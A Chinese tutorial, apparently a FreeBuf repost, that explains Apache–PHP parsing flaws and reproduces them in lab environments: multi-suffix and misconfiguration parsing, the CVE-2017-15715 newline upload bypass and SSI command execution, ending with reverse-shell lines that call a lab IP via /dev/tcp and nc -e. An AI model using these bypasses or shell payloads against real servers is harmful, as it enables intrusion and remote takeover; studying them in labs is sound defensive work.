服务攻防-Apache中间件漏洞原理深究及复现方法 – 作者:DXR嗯嗯呐

一、 简介

1、apache简述

apache是世界上使用排名第一的web服务器软件。他广泛使用在各种计算机平台,由于其跨平台和安全性被广泛使用,是最流行的web服务器端软件之一。他快速、可靠并且通过简单的API扩充,将perl/python等语言解释器编译到服务器中。

apache的目录结构:

bin 	存在常用命令工具,例如:start.bat、httpd.bat
cgi-bin	存放linux下常用的命令。例如:xxx.sh
conf	apache的相关配置文件,例如:httpd.conf
error	错误日志记录
htdocs	放网站源码的地方
logs	日志
manual	手册
modules	扩展模块

image.png

2、apache原理简述:

下面讲到apache的漏洞必须理解apache运行原理

很多小伙伴在搭建php+apache环境时,经常采用phpstudy,lamp、xampp等集成环境搭建,很容易忽略里面的一下原理,为了更好的理解本章中讲到的漏洞,我们必须要说一下apache与PHP的小秘密

下面我们通过下图来说一下完整的web请求流程:
image.png

请求从request开始,到response结束

图中简易描述了apache与php配合完成了一次web请求,apache在前,php在后,那两者之间如何通信的呢,我们先了解一下php的框架。如下图:

image.png

深入理解zend SAPIs:

https://www.laruence.com/2008/08/12/180.html

简单理解:

通过上图可以看出PHP的整体分为5层(类似Android的架构图),分别解释下:

1.Zend Engine是PHP的底层实现,包含编译和执行,底层由C语言实现。
2.Zend API、Zend Extension API是基于Zend底层对外封装提供服务。
3.Extendions使用Extension API实现了扩展库、标准库,例如各种内置函数、MySQL连接库等
4.SAPI是服务器应用程序编程接口,就是通过它来和apache、nginx、FastCGI交互
5.Application是最上层,也就是我们写的PHP代码了

明白了上面的php的架构,那么现在关于apache和php通信的过程还是不明白?
apache本身不支持php解析,通过架构图可以知道通过SAPI进行通信,那么apache如何和SAPI通信呢,apache怎么知道是什么类型的文件要解析为php,如果你动手搭建过apache解析php的环境,就肯定了解这两个问题:

#加载php5_module模块
LoadModule php5_module php5apache2_2.dll    路径
#添加可以执行php的文件类型,让.php解析为php
AddType application/x-httpd-php .php
#或者将addtype变为下面的(在apache 2.4.0~2.4.29中默认使用了该方式)
<FilesMatch \.php$>
 SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml
</IfModule>

apache通过LoadModule来加载php5_module模块(php5apache2_2.dll),这样做的目的是让apache加载php5_module模块来解析php文件。意思其实就是用loadmodule来加载php5_module。也就是吧php作为apache的一个子模块来运行。当通过web访问php文件时,apache就会调用php5_module来解析php代码。

调用过程可以概况为:

HTTP->APACHE->PHP5_MODULE->SAPI-PHP

讲到这里各位应该明白了apache是怎么调用php了吧

二、apache文件解析漏洞

1、简介

解析漏洞(CVE-2017-15715):未知扩展名解析漏洞

apache的解析漏洞依赖于一个特性:apache默认一个文件可以有多个以点分割的后缀,比如test.php.abc,当最右边的后缀无法识别(不在mime.types文件内),则继续向左识别,知道识别到合法后缀才能进行解析,与windows不同,apache对文件的名解析不是仅仅认识最后一个后缀名,而是从右向左,依此识别,直到遇到自己可以解析的文件为止。

apache官方解释地址:
http://httpd.apache.org/docs/current/mod/directive-dict.html

2、部署phpstudy测试

通过phpstudy部署apache+php环境
image.png
访问phpinfo
image.png
image.png
apache的文件名扩展名的定义在conf/mime.types文件中
image.png
image.png
我们建立如下的文件来验证该规则
image.png
访问phpinfo.png.abc文件
image.png
访问phpinfo.png文件
image.png
我们可以看到.png.abc的文件可以被解析为.png文件,那么我在php文件后面添加其他的php不能识别的后缀可以解析为php文件,用来绕过一些文件上传限制的规则,并使其正常解析。
image.png
访问phpinfo.php.abc
image.png
根据上图我们发现php.abc中的文件是通过txt访问展示,不能使用php解析,那是因为apache与php结合模式不同。

3、apache和php三种结合方法

CGI模式:

CGI通常翻译为共同网关接口,是HTTP服务器域机器上的其他程序进行通信的一个接口,让WEB服务器必要时启动额外的程序处理动态内容。CGI是一种协议,他定义webserver域CGI程序的通信方式。缺点是每次客户端请求都需要建立和销毁进程。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。

FastCGI模式:

CGI解析器的反复加载是CGI性能低下的主要原因,如果CGI解析器保持在内存中,并接受GastCGI进程管理器调度,则可以提供良好的信息,伸缩性等。

FastCGI是一个常驻型的CGI,可以一直执行,只要激活后,不需要每次花时间去fork一次。

Module模式:

apache的MPM的工作模式(多道处理模块)用于定义apache在响应多个用户请求时所工作的模型。有三种MPM模式:

prefork(一个请求一个进程响应)

worker(一个请求用一个线程响应,启动多个进程每个进程生成多个线程)

event(一个进程处理多个请求)

详细请参考:
https://blog.csdn.net/sinat_22991367/article/details/73431316

根据上述我们了解了apache与php结合的三种模式,那么不同模式和解析漏洞有什么关系呢,下面我们一起看一下:

使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保障文件扩展名中至少带有一个“.php”,否则将默认被作为txt/html文档处理。

1、使用module模式域php结合的所有版本,apache存在未知扩展名解析漏洞
2、使用fastcgi模式域php结合的所有版本,apache不存在此漏洞未知扩展名解析漏洞
3、想利用此漏洞必须保证文件名至少带有一个“.php”.否则将默认被作为txt/html文档处理

Apache 2.0 Handler使用的为module模式

image.png

详解参考
https://blog.csdn.net/wn314/article/details/77074477

三、linux环境测试文件解析漏洞

1、环境部署

安装apache

kali虚拟机中包含有apache,在/etc/目录下

cd /etc/
ls -al apache2/

image.png

启动apache

/etc/init.d/apache2 start 
/etc/init.d/apache2 status
service apache2 restart
netstat -tnlp

image.png
image.png

访问80端口

image.png

安装php

同上kali虚拟机中是包含有php的,也在/etc/目录下面

php -v	#查看php版本

image.png

测试apache是否可以解析php文件

在/var/www/html目录下创建index.php文件

touch index.php		#创建文件
#在文件中添加
<?phpinfo();?>
#编辑文件
gedit index.php

image.png

访问index.php

image.png

2、分析apache解析漏洞

apache2和apache目录不同,apache2大致分为conf、mods、sites目录及一些配置文件,每个目录都有enabled类型和availablelia后缀两种。

enabled     #是启动文件,里面默认放的是
availble    #文件夹中的配置文件的软链接。
avaibled    #中的放的文件才是真正的配置文件。
ports.conf  #为服务器监听IP和端口设置的配置文件,
apache2.conf	#对应httpd.conf文件
sites-available	#如果apache上配置了多个虚拟主机,每个虚拟主机的配置文件在目录中
mods-available	#是存放apache功能模块的配置文件和链接的,当我安装了PHP模块后,在这两个目录里就有了php5.load、php5.conf和指向这两个文件的链接。

image.png

根据上面说明,我们查看php的配置需要在sites-available目录中

image.png

查看php7.3.conf文件,第一行就告诉了我们apache会将那些后缀的文件当做php解析

<FilesMatch ".+\.ph(ar|p|tml)$">

image.png

根据上面正则表示,当如下结尾的文件会被apache当做php解析

phar
php
phtml

apache这次解析漏洞的根本原因及时这个 $ 字符,在正则表达式中,$ 符号用来匹配字符串结尾位置。

菜鸟教程解释:
https://www.runoob.com/regexp/regexp-syntax.html

image.png

3、多后缀名漏洞

漏洞复现

我们修改php7.3.conf文件中刚刚提到了正则表达式,意思为匹配后缀名带.php、.phar、.phtml文件

<FilesMatch ".+\.ph(ar|p|tml)*">
将 $ 修改为 *

image.png

重启apache

service apache2 restart

image.png

测试访问phpinfo.php.jpg文件

image.png

我们看到果然phpinfo.php.jpg被当做php解析了。

总结利用条件

1.使用module模式,且正则符合条件
2.文件中至少带一个.php
3.apache解析文件名从右向左解析,即使最右边的文件格式在mime.types文件内,只要文件中出现.php,就可以被php模块解析

4、addhandlerd的解析

漏洞复现

访问phpinfo.php.jpg,正常情况下apache解析文件名从右向左解析,phpinfo.php.jpg首先解析jpg格式文件,所以显示图片。

image.png

在sites-enabled目录下添加一个conf文件,意思为apache识别只要带.php后缀的全部文件,

AddHandler application/x-httpd-php .php

image.png

重启apache

service apache2  restart

image.png

访问phpinfo.php.jpg文件
image.png

利用总结

即使最右边的文件格式在mime.types文件内,只要文件中出现.php,就可以被php模块解析

5、罕见后缀总结

漏洞复现
在mime.types文件中,不仅仅有php,还有php3、php4、php5等。

cat /etc/mime.types | grep php

image.png

在php7.4.php正则表达式,匹配php、phar、phtml

<FilesMatch ".+\.ph(ar|p|tml)$">

image.png

我们可以通过其他文件后缀名解析php文件,比如:phtml。在特定的时候,绕过一些限制

6、配置问题总结

1、如果修改/etc/apache2/mods-enabled/phpxx.conf文件中第一行正版表达式,会出现文件解析漏洞。

<FilesMatch ".+\.ph(ar|p|tml)$">
将 $ 修改为 * . \.等其他字符

2、如果在apache的/etc/apache2/apache2.conf中有这样的配置

<FilesMatch ".jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

这时候文件名为包含.jpg的文件,全部解析为php

3、在apache的sites-enabled目录下添加一个conf文件,配置一行代码:

AddHandler application/x-httpd-php .php

这时候只要文件名包含.php,就可以被解析为php

4、在/etc/apache2/mods-enabled/phpxx.conf正则表达式,匹配php、phar、phtml和在/etc/mime.types匹配php3、php4、php5等一些文件,我们在此范围内修改后缀名上传文件,可以简单绕过一下限制。

四、apache httpd换行解析漏洞(CVE-2017-15715)

1、漏洞简介

apache通过modl_php模式来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞。在解析php时xx.php\0A将被安全.php后缀进行解析,导致绕过一些安全机制。

在/etc/apache2/mods-enabled/php7.3.php第一行正则限制了可以解析的php文件类型

image.png

正则表达式在结尾处$ 符号,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。

利用这一机制,如果在文件名后添加换行符,是否可以绕过文件上传限制,并同时达到可以让php解析的地步的,下面我们开始测试,即:

1.php\x0a = 1.php\n

2、准备漏洞环境Vulhub

1、下载docker

curl -s https://get.docker.com/ | sh

image.png

查看docker版本

docker -v

image.png

2、安装docker-compose

apt install python-pip

pip install docker-compose

sudo apt install docker-compose

image.png
image.png

查看docker-compose版本

docker-compose -v

image.png

3、下载vulhub

安装完成docker和docker-compose之后,将valhue下载或者上传到本地任意目录

git clone https://github.com/vulhub/vulhub.git

或者将软件包上传到本地
image.png

4、启动(CVE-2017-15715)漏洞环境

cd vulhub-master/httpd/CVE-2017-15715/

# docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。
如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。
docker-compose build
docker-compose up -d 

docker ps	列出所有在运行的容器信息。

image.png

3、漏洞测试

访问8080端口
image.png

直接上传文件,失败
image.png
使用burp抓取请求报
image.png

发送到repeater,在1.php后添加.符号

.符号hex编码为2e
0a在hex解码或为换行符

image.png
将2e修改为0a
修改前
image.png
修改后
image.png
上传成功
image.png
访问2.php文件

http://192.168.43.129:8080/2.php%0a

image.png
我们看一下,上传的文件,\n对应这hex编码中的0a
image.png

4、分析代码

为什么加载0X0a就能让给了呢,我们先看一下index.php的代码

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {

?>

<!DOCTYPE html>
<html>
<head>
	<title>Upload</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
	<p>
		<label>file:<input type="file" name="file"></label>
	</p>
	<p>
		<label>filename:<input type="text" name="name" value="evil.php"></label>
	</p>
	<input type="submit">
</form>
</body>
</html>

<?php
}
?>

可见,这里用到了黑名单,如果发现后缀在’php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’这几个黑名单里,一律进制上传,进行拦截。

根据前文我们提到,php模块在解析php文件中通过正则表达式验证可以解析的文件名,正则表达式在结尾处$ 符号,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。我们在文件结尾加上\x0a(\n),保证了文件解析的同时,也可以绕过上传黑名单。

0x0a和0x0d的区别:

0x0d、 \r、CR这三者代表回车,是同一个意思,回车的作用只是移动光标至该行的起始位置
0x0a、\n、CL这三者代表换行,是同一个意思,换行至下一行行首起始位置

6、修复建议

1、升级到最新版本
2、或将上传的文件重命名为时间戳+随机数+.jpg的格式,并禁用上传文件目录执行脚本权限

7、补充:docker-compose常用命令

docker-compose up -d	#启动所有服务并在后台运行
docker-compose up ps	#查看服务运行状态
docker-compose restart	#重启所有服务
docker-compose restart myApp	#重启myApp服务
docker-compose start	#开始所有服务
docker-compose stop		#停止所有服务
docker-compose rm		#删除所有服务
docker-compose build	#重新编译靶场环境

五、Apche SSI远程命令执行漏洞(ssi-rce)

1、漏洞简介

1、漏洞描述

SSI(server-side includes):是放置在HTML页面中的指令,他可以将动态生成的内容添加到现在的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开始SSI需要单独配置Apache,参考:

https://httpd.apache.org/docs/2.4/howto/ssi.html

SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能很强大。

在测试任意文件上传漏洞时时候,目标服务器可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

2、影响版本

apache全版本(支持SSI与CGI)

2、环境搭建

此次测试使用docker搭建环境,环境采用Vulhub靶机

cd /root/vulhub-master/httpd/ssi-rce
docker-compose up -d
docker ps

image.png

cat upload.php

image.png

3、漏洞复现

1、创建脚本

我们利用SSI执行系统命令的工作,正常一个包含SSI指令的文件,保存在test.shtml文件,内容如下:

<pre>
<!--#exec cmd="whoami" -->
</pre>

image.png
文件的后缀名取决于apache的配置,默认是此后缀。

2、上传木马

如果后台对后缀名校验不严格时,可以上传shtml类型文件,达到命令执行,获取webshell的目录。
image.png
访问shtml文件,看到whoami命令执行并返回了结果
image.png

3、反弹shell

<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.43.129/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.43.129 8888 -e /bin/bash"-->

4、修复建议

来源:freebuf.com 2021-04-28 00:43:46 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论